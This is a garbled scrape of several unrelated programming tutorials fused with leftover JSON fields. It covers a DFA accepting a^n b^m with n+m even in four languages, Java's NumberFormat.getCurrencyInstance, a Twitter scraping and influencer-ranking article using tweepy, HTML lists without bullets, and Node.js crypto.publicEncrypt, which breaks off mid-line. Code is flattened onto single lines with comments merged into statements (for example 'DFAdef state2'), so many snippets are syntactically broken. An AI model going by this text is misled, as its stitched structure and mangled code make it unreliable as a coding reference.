DFAdef state2(c): if (c == 'b'): dfa = 3 else: dfa = -1 return dfa # This function is for the third# dfa = state of DFAdef state3(c): if (c == 'b'): dfa = 4 else: dfa = -1 return dfa # This function is for the fourth# dfa = state of DFAdef state4(c): if (c == 'b'): dfa = 3 else: dfa = -1 return dfa # This function is for the fifth# dfa = state of DFAdef state5(c): if (c == 'b'): dfa = 6 else: dfa = -1 return dfa # This function is for the sixth# dfa = state of DFAdef state6(c): if (c == 'b'): dfa = 5 else: dfa = -1 return dfa def isAccepted(String): # store length of Stringing l = len(String) # dfa tells the number associated # with the present dfa = state dfa = 0 for i in range(l): if (dfa == 0): dfa = start(String[i]) elif (dfa == 1): dfa = state1(String[i]) elif (dfa == 2) : dfa = state2(String[i]) elif (dfa == 3) : dfa = state3(String[i]) elif (dfa == 4) : dfa = state4(String[i]) elif (dfa == 5) : dfa = state5(String[i]) elif (dfa == 6): dfa = state6(String[i]) else: return 0 if(dfa == 3 or dfa == 5) : return 1 else: return 0 # Driver codeif __name__ == \"__main__\" : String = \"aaabbb\" if (isAccepted(String)) : print(\"ACCEPTED\") else: print(\"NOT ACCEPTED\") # This code is contributed by# Shubham Singh(SHUBHAMSINGH10)", "e": 39845, "s": 37678, "text": null }, { "code": "// C# program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }using System; class GFG{ // dfa tells the number associated // with the present state. static int dfa = 0; // This function is for // the starting state (Q0)of DFA static void start(char c) { if (c == 'a') { dfa = 1; } else if (c == 'b') { dfa = 2; } // -1 is used to check for any invalid symbol else { dfa = -1; } } // This function is for // the first state (Q1) of DFA static void state1(char c) { if (c == 'a') { dfa = 0; } else if (c == 'b') { dfa = 5; } else { dfa = -1; } } // This function is for the // second state (Q2) of DFA static void state2(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // third state (Q3)of DFA static void state3(char c) { if (c == 'b') { dfa = 4; } else { dfa = -1; } } // This function is for the // fourth state (Q4) of DFA static void state4(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // fifth state (Q5) of DFA static void state5(char c) { if (c == 'b') { dfa = 6; } else { dfa = -1; } } // This function is for the // sixth state (Q6) of DFA static void state6(char c) { if (c == 'b') { dfa = 5; } else { dfa = -1; } } static int isAccepted(char []str) { // store length of string int i, len = str.Length; for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0; } // Driver code public static void Main(String[] args) { char []str = \"aaabbb\".ToCharArray(); if (isAccepted(str) == 1) Console.WriteLine(\"ACCEPTED\"); else Console.WriteLine(\"NOT ACCEPTED\"); }} /* This code contributed by PrinciRaj1992 */", "e": 42761, "s": 39845, "text": null }, { "code": "<?php// PHP program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even } // This function is for the// starting state (zeroth) of DFAfunction start($c, &$dfa){ if ($c == 'a') $dfa = 1; elseif ($c == 'b') $dfa = 2; // -1 is used to check for any // invalid symbol else $dfa = -1;} // This function is for the first// state of DFAfunction state1($c, &$dfa){ if ($c == 'a') $dfa = 0; elseif ($c == 'b') $dfa = 5; else $dfa = -1;} // This function is for the second// state of DFAfunction state2($c, &$dfa){ if ($c == 'b') $dfa = 3; else $dfa = -1;} // This function is for the third// state of DFAfunction state3($c, &$dfa){ if ($c == 'b') $dfa = 4; else $dfa = -1;} // This function is for the fourth// state of DFAfunction state4($c, &$dfa){ if ($c == 'b') $dfa = 3; else $dfa = -1;} // This function is for the fifth// state of DFAfunction state5($c, &$dfa){ if ($c == 'b') $dfa = 6; else $dfa = -1;} // This function is for the sixth// state of DFAfunction state6($c, &$dfa){ if ($c == 'b') $dfa = 5; else $dfa = -1;} function isAccepted($str, &$dfa){ // store length of string $i = 0; $len = sizeof($str); for ($i = 0; $i < $len; $i++) { if ($dfa == 0) start($str[$i], $dfa); elseif ($dfa == 1) state1($str[$i], $dfa); elseif ($dfa == 2) state2($str[$i], $dfa); elseif ($dfa == 3) state3($str[$i], $dfa); elseif ($dfa == 4) state4($str[$i], $dfa); elseif ($dfa == 5) state5($str[$i], $dfa); elseif ($dfa == 6) state6($str[$i], $dfa); else return 0; } if($dfa == 3 || $dfa == 5) return 1; else return 0;} // Driver code // dfa tells the number associated// with the present state$dfa = 0;$str = array(\"a\", \"a\", \"a\", \"b\", \"b\", \"b\"); if (isAccepted($str, $dfa) != 0) echo \"ACCEPTED\";else echo \"NOT ACCEPTED\"; // This code is contributed by// Adesh kumar Singh(adeshsingh1)?>", "e": 44842, "s": 42761, "text": null }, { "code": "<script> // Javascript program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even } // dfa tells the number associated// with the present statevar dfa = 0; // This function is for// the starting state (zeroth) of DFAfunction start(c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAfunction state1(c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAfunction state2(c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAfunction state3(c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAfunction state4(c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAfunction state5(c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAfunction state6(c){ if (c == 'b') dfa = 5; else dfa = -1;} function isAccepted(str){ // Store length of string var i, len = (str.length); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // Driver codevar str = \"aaabbb\";if (isAccepted(str)) document.write( \"ACCEPTED\");else document.write( \"NOT ACCEPTED\"); </script>", "e": 46796, "s": 44842, "text": null }, { "code": null, "e": 46805, "s": 46796, "text": "Output: " }, { "code": null, "e": 46814, "s": 46805, "text": "ACCEPTED" }, { "code": null, "e": 46861, "s": 46814, "text": " There is a minimal DFA for the same problem. " }, { "code": null, "e": 46876, "s": 46861, "text": "SHUBHAMSINGH10" }, { "code": null, "e": 46888, "s": 46876, "text": "AdeshSingh1" }, { "code": null, "e": 46902, "s": 46888, "text": "princiraj1992" }, { "code": null, "e": 46911, "s": 46902, "text": "noob2000" }, { "code": null, "e": 46922, "s": 46911, "text": "siddheshjn" }, { "code": null, "e": 46930, "s": 46922, "text": "GATE CS" }, { "code": null, "e": 46963, "s": 46930, "text": "Theory of Computation & Automata" }, { "code": null, "e": 47061, "s": 46963, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 47070, "s": 47061, "text": "Comments" }, { "code": null, "e": 47083, "s": 47070, "text": "Old Comments" }, { "code": null, "e": 47103, "s": 47083, "text": "Layers of OSI Model" }, { "code": null, "e": 47127, "s": 47103, "text": "ACID Properties in DBMS" }, { "code": null, "e": 47154, "s": 47127, "text": "Types of Operating Systems" }, { "code": null, "e": 47175, "s": 47154, "text": "Normal Forms in DBMS" }, { "code": null, "e": 47188, "s": 47175, "text": "TCP/IP Model" }, { "code": null, "e": 47219, "s": 47188, "text": "Difference between DFA and NFA" }, { "code": null, "e": 47264, "s": 47219, "text": "Design 101 sequence detector (Mealy machine)" }, { "code": null, "e": 47304, "s": 47264, "text": "Closure properties of Regular languages" }, { "code": null, "e": 47337, "s": 47304, "text": "Conversion of Epsilon-NFA to NFA" } ]
Java NumberFormat.getCurrencyInstance() method
The getCurrencyInstance() method of the NumberFormat class returns the instance of the NumberFormat class. The java.text.NumberFormat class is used for formatting numbers and currencies as per a specific Locale. Number formats varies from country to country Here, we have considered a locale. NumberFormat n = NumberFormat.getCurrencyInstance(Locale.FRANCE); Then, we have formatted a double value with the currency. double points = 1.78; System.out.println(n.format(points)); The following is the final example. Live Demo import java.text.NumberFormat; import java.util.Locale; public class MainClass { public static void main(String[] args) { // Currency of France is Euro NumberFormat n = NumberFormat.getCurrencyInstance(Locale.FRANCE); // points double points = 1.78; double totalPoints = points * 1000; System.out.println(n.format(points)); System.out.println(n.format(totalPoints)); } } 1,78 € 1 780,00 €
[ { "code": null, "e": 1320, "s": 1062, "text": "The getCurrencyInstance() method of the NumberFormat class returns the instance of the NumberFormat class. The java.text.NumberFormat class is used for formatting numbers and currencies as per a specific Locale. Number formats varies from country to country" }, { "code": null, "e": 1355, "s": 1320, "text": "Here, we have considered a locale." }, { "code": null, "e": 1421, "s": 1355, "text": "NumberFormat n = NumberFormat.getCurrencyInstance(Locale.FRANCE);" }, { "code": null, "e": 1479, "s": 1421, "text": "Then, we have formatted a double value with the currency." }, { "code": null, "e": 1539, "s": 1479, "text": "double points = 1.78;\nSystem.out.println(n.format(points));" }, { "code": null, "e": 1575, "s": 1539, "text": "The following is the final example." }, { "code": null, "e": 1586, "s": 1575, "text": " Live Demo" }, { "code": null, "e": 2014, "s": 1586, "text": "import java.text.NumberFormat;\nimport java.util.Locale;\npublic class MainClass {\n public static void main(String[] args) {\n // Currency of France is Euro\n NumberFormat n = NumberFormat.getCurrencyInstance(Locale.FRANCE);\n // points\n double points = 1.78;\n double totalPoints = points * 1000;\n System.out.println(n.format(points));\n System.out.println(n.format(totalPoints));\n }\n}" }, { "code": null, "e": 2032, "s": 2014, "text": "1,78 €\n1 780,00 €" } ]
Web Scrapping, Downloading Twitter Data and Performing Sentimental Analysis using Python | by Anastasia Kiiru | Towards Data Science
Social media influencers play an important role in the current society of increasing human interconnection; and business organizations are realizing the need for influencer marketing campaigns (Newberry, 2019). A successful influencer marketing campaign requires a partnership with the right social media influencer. So how do we determine the right influencer? For the data science community, only data has the answer. Let’s take a case study for determining the right influencers from Africa to partner with, for a digital marketing campaign. We will explore scrapping of data from relevant websites, data extraction from twitter for specific users, and perform sentimental analysis to determine the right influencers to partner with. This website has a predetermined list of 100 influential individuals in Africa and this website has the list to key government officials in Africa. To scrap these two websites, we first import the necessary libraries: from requests import getfrom requests.exceptions import RequestExceptionfrom contextlib import closingfrom bs4 import BeautifulSoupimport pandas as pdimport reimport os, sysimport fire Next, we define a function for getting website content by making a HTTP GET request : def simple_get(url): try: with closing(get(url, stream=True)) as resp: if is_good_response(resp): return resp.content else: return None except RequestException as e: log_error('Error during requests to {0} : {1}'.format(url, str(e))) return None We’ll also define another function for downloading a page specified by a URL and return a list of strings, one per tag element: def get_elements(url, tag='',search={}, fname=None): if isinstance(url,str): response = simple_get(url) else: #if already it is a loaded html page response = urlif response is not None: html = BeautifulSoup(response, 'html.parser') res = [] if tag: for li in html.select(tag): for name in li.text.split('\n'): if len(name) > 0: res.append(name.strip()) if search: soup = html r = '' if 'find' in search.keys(): print('finding',search['find']) soup = soup.find(**search['find']) r = soup if 'find_all' in search.keys(): print('finding all of',search['find_all']) r = soup.find_all(**search['find_all']) if r: for x in list(r): if len(x) > 0: res.extend(x) return res The above function uses the BeautifulSoup library for raw HTML selection and content extraction. Selection is done based on either the tag element or using search together with find or find_all. We can now call our defined functions and pass in the URL of our two websites. res = get_elements('https://africafreak.com/100-most-influential-twitter-users-in-africa', tag = 'h2')url= 'https://www.atlanticcouncil.org/blogs/africasource/african-leaders-respond-to-coronavirus-on-twitter/#east-africa'response = simple_get(url)res_gov = get_elements(response, search={'find_all':{'class_':'twitter-tweet'}}) The functions return all the content from the websites that satisfy our search criteria and we’ll, therefore, need to clean the data to get twitter usernames only: The .split() and .strip() methods are used in the data cleaning process to get rid of any white-spaces or special characters. For instance, cleaning the res data will be: res_cleaned = []for element in res: if re.findall("@", element): res_cleaned.append(element) df = pd.DataFrame(res_cleaned)df1 = df[0].str.split('@', expand = True)influencers = df1[1].tolist()final = []for influencer in influencers: influencer = influencer.strip(')') final.append(influencer) And finally, we save our scrapped and cleaned data to a CSV file: pd.DataFrame(final, columns = ['Twitter handles']).to_csv('influencers_scraped.csv', index = False, encoding = 'utf-8') Just like its necessary for any python program, we start by importing the needed libraries. For this extraction, we will use the Tweepy library to extract Twitter data: import tweepyfrom tweepy.streaming import StreamListenerfrom tweepy import OAuthHandlerfrom tweepy import Streamfrom tweepy import Cursorfrom tweepy import API Next, we initialize variables to store user credentials for accessing Twitter API, authenticate the credentials, and create a connection to Twitter Streaming API: consumer_key = 'YOUR TWITTER API KEY'consumer_secret = 'YOUR TWITTER API SECRET KEY'access_token = 'YOUR TWITTER ACCESS TOKEN'access_token_secret = 'YOUR TWITTER ACCESS TOKEN SECRET'#authentication and connectionauth = OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret) auth_api = API(auth) After creating a successful connection to twitter, we proceed with extracting data for the users and storing the data in a CSV file for easier access during analysis. The following function receives a list of users and a CSV file name as arguments, iterates through the list getting data for each user, and saves that data to a CSV file. def get_user_info(list, csvfile): users_info = [] for user in list: print ('GETTING DATA FOR ' + user) try: item = auth_api.get_user(user) users_info.append([item.name, item.description, item.screen_name, item.created_at, item.statuses_count, item.friends_count, item.followers_count]) except Exception: pass print('Done!!') user_df = (pd.DataFrame(users_info, columns = ["User", "Description", "Handle", "Creation Date", "Tweets", "Following", "Followers"])).to_csv(csvfile, index = False, encoding = 'utf-8') Hashtags and mentions in a user’s tweets also help to determine the level of influence of an individual. We, therefore, get the hashtags and mentions in each tweet of a user with the help of the Cursor object and again save the data in a CSV file using the following function: def get_tweets(list,csvfile1, csvfile2, csvfile3): hashtags = [] mentions = []for user in list: print ("GETTING DATA FOR "+ user) try: for status in Cursor(auth_api.user_timeline, id = user).items(): if hasattr(status, "entities"): entities = status.entities if "hashtags" in entities: for ent in entities["hashtags"]: if ent is not None: if "text" in ent: hashtag = ent["text"] if hashtag is not None: hashtags.append(hashtag) if "user_mentions" in entities: for ent in entities["user_mentions"]: if ent is not None: if "screen_name" in ent: name = ent["screen_name"] if name is not None: mentions.append([user, name]) except Exception: pass print("Done!") hashtags_df = (pd.DataFrame(hashtags, columns = ["hashtags"])).to_csv(csvfile1, index = False, encoding = "utf-8") mentions_df = (pd.DataFrame(mentions, columns = ["mentions"])).to_csv(csvfile2, index = False, encoding = "utf-8") Now that we have mined all the necessary data, we can proceed with analysis to determine the rank of the influencers and the most commonly used hashtags. The formulas used for ranking are based on the ‘Measuring User Influence in Twitter: The Million Follower Fallacy’ paper. According to Gummadi, Benevenuto, Haddadi, and Cha (2010), the influence of a person can be measured in terms of: indegree influence — the audience of an individual, retweet influence — the ability of the individual to generate valuable content, and mention influence — the ability of the individual to hold an engaging conversation. The three metrics can be calculated as reach score, popularity score, and relevance score respectively. reach_score = item.followers_count - item.friends_countpopularity_score = retweet_count + favorites_countrelevance_score = mentions_count The most common used hashtags, on the other hand, are calculated using the Counter module: unique_hashtags = []for item, count in Counter(hashtags).most_common(5): unique_hashtags.append([item, count]) The most common hashtags data can be used to understand the distribution of hashtags and how they are used by different influencers. The following code outputs a bar-plot with this information. df = pd.DataFrame(pd.read_csv('hashtags_data.csv'))unique_hashtags = ['...',...,'...'] # selecting rows based on condition hashtags_grouping_data = df[df['hashtags'].isin(unique_hashtags)]grouped = hashtags_grouping_data.groupby(['hashtags', 'user_type']).agg({'user_type': ['count']})grouped.columns = ['count']grouped = grouped.reset_index()bp = sns.barplot(x = 'hashtags', y = 'count', hue = 'user_type', data = grouped)#Position the legend out the graphbp.legend(bbox_to_anchor=(1.02, 1), loc=2, borderaxespad=0.0);bp.set(title='Bar plot for Influencers and Top Government Officials by hashtag', xlabel='Hashtags', ylabel='Count') A sample bar-plot constructed by the above code looks like: Influencer marketing has become the new marketing niche and business organizations are on the lookout for the right social media influencers to partner with for an effective marketing campaign. Using data science, we can help drive the marketing decision based on factual data. It is as systematic as scrapping data from relevant websites, downloading user data from a social media platform such as Twitter, and performing sentimental analysis on the data to come up with visuals that business organizations can better understand. The post outlines the main codes used in the process, and the full code can be found here. [1]: C. Meeyoung, H. Hamed, B. Fabricio, and G. Krishna, Measuring user influence in Twitter: The million follower fallacy (2010), http://twitter.mpi-sws.org/icwsm2010_fallacy.pdf [2]: N. Christina, Influencer marketing guide: How to work with social media influencers (2019), https://blog.hootsuite.com/influencer-marketing/
[ { "code": null, "e": 409, "s": 47, "text": "Social media influencers play an important role in the current society of increasing human interconnection; and business organizations are realizing the need for influencer marketing campaigns (Newberry, 2019). A successful influencer marketing campaign requires a partnership with the right social media influencer. So how do we determine the right influencer?" }, { "code": null, "e": 784, "s": 409, "text": "For the data science community, only data has the answer. Let’s take a case study for determining the right influencers from Africa to partner with, for a digital marketing campaign. We will explore scrapping of data from relevant websites, data extraction from twitter for specific users, and perform sentimental analysis to determine the right influencers to partner with." }, { "code": null, "e": 1002, "s": 784, "text": "This website has a predetermined list of 100 influential individuals in Africa and this website has the list to key government officials in Africa. To scrap these two websites, we first import the necessary libraries:" }, { "code": null, "e": 1187, "s": 1002, "text": "from requests import getfrom requests.exceptions import RequestExceptionfrom contextlib import closingfrom bs4 import BeautifulSoupimport pandas as pdimport reimport os, sysimport fire" }, { "code": null, "e": 1273, "s": 1187, "text": "Next, we define a function for getting website content by making a HTTP GET request :" }, { "code": null, "e": 1598, "s": 1273, "text": "def simple_get(url): try: with closing(get(url, stream=True)) as resp: if is_good_response(resp): return resp.content else: return None except RequestException as e: log_error('Error during requests to {0} : {1}'.format(url, str(e))) return None" }, { "code": null, "e": 1726, "s": 1598, "text": "We’ll also define another function for downloading a page specified by a URL and return a list of strings, one per tag element:" }, { "code": null, "e": 2811, "s": 1726, "text": "def get_elements(url, tag='',search={}, fname=None): if isinstance(url,str): response = simple_get(url) else: #if already it is a loaded html page response = urlif response is not None: html = BeautifulSoup(response, 'html.parser') res = [] if tag: for li in html.select(tag): for name in li.text.split('\\n'): if len(name) > 0: res.append(name.strip()) if search: soup = html r = '' if 'find' in search.keys(): print('finding',search['find']) soup = soup.find(**search['find']) r = soup if 'find_all' in search.keys(): print('finding all of',search['find_all']) r = soup.find_all(**search['find_all']) if r: for x in list(r): if len(x) > 0: res.extend(x) return res" }, { "code": null, "e": 3006, "s": 2811, "text": "The above function uses the BeautifulSoup library for raw HTML selection and content extraction. Selection is done based on either the tag element or using search together with find or find_all." }, { "code": null, "e": 3085, "s": 3006, "text": "We can now call our defined functions and pass in the URL of our two websites." }, { "code": null, "e": 3414, "s": 3085, "text": "res = get_elements('https://africafreak.com/100-most-influential-twitter-users-in-africa', tag = 'h2')url= 'https://www.atlanticcouncil.org/blogs/africasource/african-leaders-respond-to-coronavirus-on-twitter/#east-africa'response = simple_get(url)res_gov = get_elements(response, search={'find_all':{'class_':'twitter-tweet'}})" }, { "code": null, "e": 3578, "s": 3414, "text": "The functions return all the content from the websites that satisfy our search criteria and we’ll, therefore, need to clean the data to get twitter usernames only:" }, { "code": null, "e": 3749, "s": 3578, "text": "The .split() and .strip() methods are used in the data cleaning process to get rid of any white-spaces or special characters. For instance, cleaning the res data will be:" }, { "code": null, "e": 4074, "s": 3749, "text": "res_cleaned = []for element in res: if re.findall(\"@\", element): res_cleaned.append(element) df = pd.DataFrame(res_cleaned)df1 = df[0].str.split('@', expand = True)influencers = df1[1].tolist()final = []for influencer in influencers: influencer = influencer.strip(')') final.append(influencer)" }, { "code": null, "e": 4140, "s": 4074, "text": "And finally, we save our scrapped and cleaned data to a CSV file:" }, { "code": null, "e": 4260, "s": 4140, "text": "pd.DataFrame(final, columns = ['Twitter handles']).to_csv('influencers_scraped.csv', index = False, encoding = 'utf-8')" }, { "code": null, "e": 4429, "s": 4260, "text": "Just like its necessary for any python program, we start by importing the needed libraries. For this extraction, we will use the Tweepy library to extract Twitter data:" }, { "code": null, "e": 4589, "s": 4429, "text": "import tweepyfrom tweepy.streaming import StreamListenerfrom tweepy import OAuthHandlerfrom tweepy import Streamfrom tweepy import Cursorfrom tweepy import API" }, { "code": null, "e": 4752, "s": 4589, "text": "Next, we initialize variables to store user credentials for accessing Twitter API, authenticate the credentials, and create a connection to Twitter Streaming API:" }, { "code": null, "e": 5103, "s": 4752, "text": "consumer_key = 'YOUR TWITTER API KEY'consumer_secret = 'YOUR TWITTER API SECRET KEY'access_token = 'YOUR TWITTER ACCESS TOKEN'access_token_secret = 'YOUR TWITTER ACCESS TOKEN SECRET'#authentication and connectionauth = OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret) auth_api = API(auth)" }, { "code": null, "e": 5270, "s": 5103, "text": "After creating a successful connection to twitter, we proceed with extracting data for the users and storing the data in a CSV file for easier access during analysis." }, { "code": null, "e": 5441, "s": 5270, "text": "The following function receives a list of users and a CSV file name as arguments, iterates through the list getting data for each user, and saves that data to a CSV file." }, { "code": null, "e": 6050, "s": 5441, "text": "def get_user_info(list, csvfile): users_info = [] for user in list: print ('GETTING DATA FOR ' + user) try: item = auth_api.get_user(user) users_info.append([item.name, item.description, item.screen_name, item.created_at, item.statuses_count, item.friends_count, item.followers_count]) except Exception: pass print('Done!!') user_df = (pd.DataFrame(users_info, columns = [\"User\", \"Description\", \"Handle\", \"Creation Date\", \"Tweets\", \"Following\", \"Followers\"])).to_csv(csvfile, index = False, encoding = 'utf-8')" }, { "code": null, "e": 6327, "s": 6050, "text": "Hashtags and mentions in a user’s tweets also help to determine the level of influence of an individual. We, therefore, get the hashtags and mentions in each tweet of a user with the help of the Cursor object and again save the data in a CSV file using the following function:" }, { "code": null, "e": 7729, "s": 6327, "text": "def get_tweets(list,csvfile1, csvfile2, csvfile3): hashtags = [] mentions = []for user in list: print (\"GETTING DATA FOR \"+ user) try: for status in Cursor(auth_api.user_timeline, id = user).items(): if hasattr(status, \"entities\"): entities = status.entities if \"hashtags\" in entities: for ent in entities[\"hashtags\"]: if ent is not None: if \"text\" in ent: hashtag = ent[\"text\"] if hashtag is not None: hashtags.append(hashtag) if \"user_mentions\" in entities: for ent in entities[\"user_mentions\"]: if ent is not None: if \"screen_name\" in ent: name = ent[\"screen_name\"] if name is not None: mentions.append([user, name]) except Exception: pass print(\"Done!\") hashtags_df = (pd.DataFrame(hashtags, columns = [\"hashtags\"])).to_csv(csvfile1, index = False, encoding = \"utf-8\") mentions_df = (pd.DataFrame(mentions, columns = [\"mentions\"])).to_csv(csvfile2, index = False, encoding = \"utf-8\")" }, { "code": null, "e": 8005, "s": 7729, "text": "Now that we have mined all the necessary data, we can proceed with analysis to determine the rank of the influencers and the most commonly used hashtags. The formulas used for ranking are based on the ‘Measuring User Influence in Twitter: The Million Follower Fallacy’ paper." }, { "code": null, "e": 8119, "s": 8005, "text": "According to Gummadi, Benevenuto, Haddadi, and Cha (2010), the influence of a person can be measured in terms of:" }, { "code": null, "e": 8171, "s": 8119, "text": "indegree influence — the audience of an individual," }, { "code": null, "e": 8255, "s": 8171, "text": "retweet influence — the ability of the individual to generate valuable content, and" }, { "code": null, "e": 8339, "s": 8255, "text": "mention influence — the ability of the individual to hold an engaging conversation." }, { "code": null, "e": 8443, "s": 8339, "text": "The three metrics can be calculated as reach score, popularity score, and relevance score respectively." }, { "code": null, "e": 8581, "s": 8443, "text": "reach_score = item.followers_count - item.friends_countpopularity_score = retweet_count + favorites_countrelevance_score = mentions_count" }, { "code": null, "e": 8672, "s": 8581, "text": "The most common used hashtags, on the other hand, are calculated using the Counter module:" }, { "code": null, "e": 8790, "s": 8672, "text": "unique_hashtags = []for item, count in Counter(hashtags).most_common(5): unique_hashtags.append([item, count])" }, { "code": null, "e": 8984, "s": 8790, "text": "The most common hashtags data can be used to understand the distribution of hashtags and how they are used by different influencers. The following code outputs a bar-plot with this information." }, { "code": null, "e": 9640, "s": 8984, "text": "df = pd.DataFrame(pd.read_csv('hashtags_data.csv'))unique_hashtags = ['...',...,'...'] # selecting rows based on condition hashtags_grouping_data = df[df['hashtags'].isin(unique_hashtags)]grouped = hashtags_grouping_data.groupby(['hashtags', 'user_type']).agg({'user_type': ['count']})grouped.columns = ['count']grouped = grouped.reset_index()bp = sns.barplot(x = 'hashtags', y = 'count', hue = 'user_type', data = grouped)#Position the legend out the graphbp.legend(bbox_to_anchor=(1.02, 1), loc=2, borderaxespad=0.0);bp.set(title='Bar plot for Influencers and Top Government Officials by hashtag', xlabel='Hashtags', ylabel='Count')" }, { "code": null, "e": 9700, "s": 9640, "text": "A sample bar-plot constructed by the above code looks like:" }, { "code": null, "e": 10322, "s": 9700, "text": "Influencer marketing has become the new marketing niche and business organizations are on the lookout for the right social media influencers to partner with for an effective marketing campaign. Using data science, we can help drive the marketing decision based on factual data. It is as systematic as scrapping data from relevant websites, downloading user data from a social media platform such as Twitter, and performing sentimental analysis on the data to come up with visuals that business organizations can better understand. The post outlines the main codes used in the process, and the full code can be found here." }, { "code": null, "e": 10502, "s": 10322, "text": "[1]: C. Meeyoung, H. Hamed, B. Fabricio, and G. Krishna, Measuring user influence in Twitter: The million follower fallacy (2010), http://twitter.mpi-sws.org/icwsm2010_fallacy.pdf" } ]
How to create an unordered list without bullets in HTML?
To create unordered list in HTML, use the <ul> tag. Unordered list starts with the <ul> tag. The list item starts with the <li> tag and will be marked as disc, square, circle, none, etc. The default is bullets, which is small black circles. For creating an unordered list without bullets, use CSS property list-style-type. We will be using the style attribute. The style attribute specifies an inline style for an element. The attribute is used with the HTML <ul> tag, with the CSS property list-style-type to remove bullets in an unordered list. Just keep in mind, the usage of style attribute overrides any style set globally. It will override any style set in the HTML <style> tag or external style sheet. You can try to run the following code to create an unordered list without bullets in HTML − Live Demo <!DOCTYPE html> <html> <head> <title>HTML Unordered List</title> </head> <body> <h1>Developed Countries</h1> <p>The list of developed countries :</p> <ul style="list-style-type:none"> <li>US</li> <li>Australia</li> <li>New Zealand</li> </ul> </body> </html>
[ { "code": null, "e": 1303, "s": 1062, "text": "To create unordered list in HTML, use the <ul> tag. Unordered list starts with the <ul> tag. The list item starts with the <li> tag and will be marked as disc, square, circle, none, etc. The default is bullets, which is small black circles." }, { "code": null, "e": 1610, "s": 1303, "text": "For creating an unordered list without bullets, use CSS property list-style-type. We will be using the style attribute. The style attribute specifies an inline style for an element. The attribute is used with the HTML <ul> tag, with the CSS property list-style-type to remove bullets in an unordered list. " }, { "code": null, "e": 1772, "s": 1610, "text": "Just keep in mind, the usage of style attribute overrides any style set globally. It will override any style set in the HTML <style> tag or external style sheet." }, { "code": null, "e": 1864, "s": 1772, "text": "You can try to run the following code to create an unordered list without bullets in HTML −" }, { "code": null, "e": 1874, "s": 1864, "text": "Live Demo" }, { "code": null, "e": 2201, "s": 1874, "text": "<!DOCTYPE html>\n<html>\n <head>\n <title>HTML Unordered List</title>\n </head>\n <body>\n <h1>Developed Countries</h1>\n <p>The list of developed countries :</p>\n <ul style=\"list-style-type:none\">\n <li>US</li>\n <li>Australia</li>\n <li>New Zealand</li>\n </ul>\n </body>\n</html>" } ]
crypto.publicEncrypt() Method in Node.js
The crypto.publicEncrypt() is used for encrypting the given data in buffer parameter by using a public key passed in the parameter. The data returned can be decrypted using the corresponding private key. crypto.publicEncrypt(key, buffer) The above parameters are described as below − key – It can contain the below 5 types of data of the following type – Object, String, Buffer or KeyObject.key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject.oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'.oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified.passphrase - This is an optional passphrase for the private key.padding – This is an optional value defined in crypto.constants.encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings. key – It can contain the below 5 types of data of the following type – Object, String, Buffer or KeyObject. key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject. key – This field contains the PEM encoded public or private key. It can be of type string, buffer or keyObject. oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'. oaepHash – This field contains the hash function to be used for OAEP padding and MGF1. Default value is: 'sha1'. oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified. oaepLabel – This field contains the value for OAEP padding. No lable is used if not specified. passphrase - This is an optional passphrase for the private key. passphrase - This is an optional passphrase for the private key. padding – This is an optional value defined in crypto.constants. padding – This is an optional value defined in crypto.constants. encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings. encoding – This is the type of encoding that needs to be used when buffer, key, oaepLabel or passphrase value are strings. buffer – This field contains the data content to be encrypted. Possible buffer types are: string, TypedArray, Buffer, ArrayBuffer, DataView. buffer – This field contains the data content to be encrypted. Possible buffer types are: string, TypedArray, Buffer, ArrayBuffer, DataView. Create a file with name – publicEncrypt.js and copy the below code snippet. After creating file, use the following command to run this code as shown in the example below − node publicEncrypt.js publicEncrypt.js // Node.js program to demonstrate the flow of crypto.publicEncrypt() method // Importing crypto and fs module const crypto = require('crypto'); const fs = require("fs"); // Creating below function for generating keys function generateKeyFiles() { const keyPair = crypto.generateKeyPairSync('rsa', { modulusLength: 520, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem', cipher: 'aes-256-cbc', passphrase: '' } }); // Creating the public key file with the below name fs.writeFileSync("public_key", keyPair.publicKey); } // Generating keys generateKeyFiles(); // Encrypting string using the below function function encryptString (plaintext, publicKeyFile) { const publicKey = fs.readFileSync(publicKeyFile, "utf8"); //Calling publicEncrypt() with below parameters const encrypted = crypto.publicEncrypt( publicKey, Buffer.from(plaintext)); return encrypted.toString("base64"); } // Text that will be encrypted const plainText = "TutorialsPoint"; // Defining the 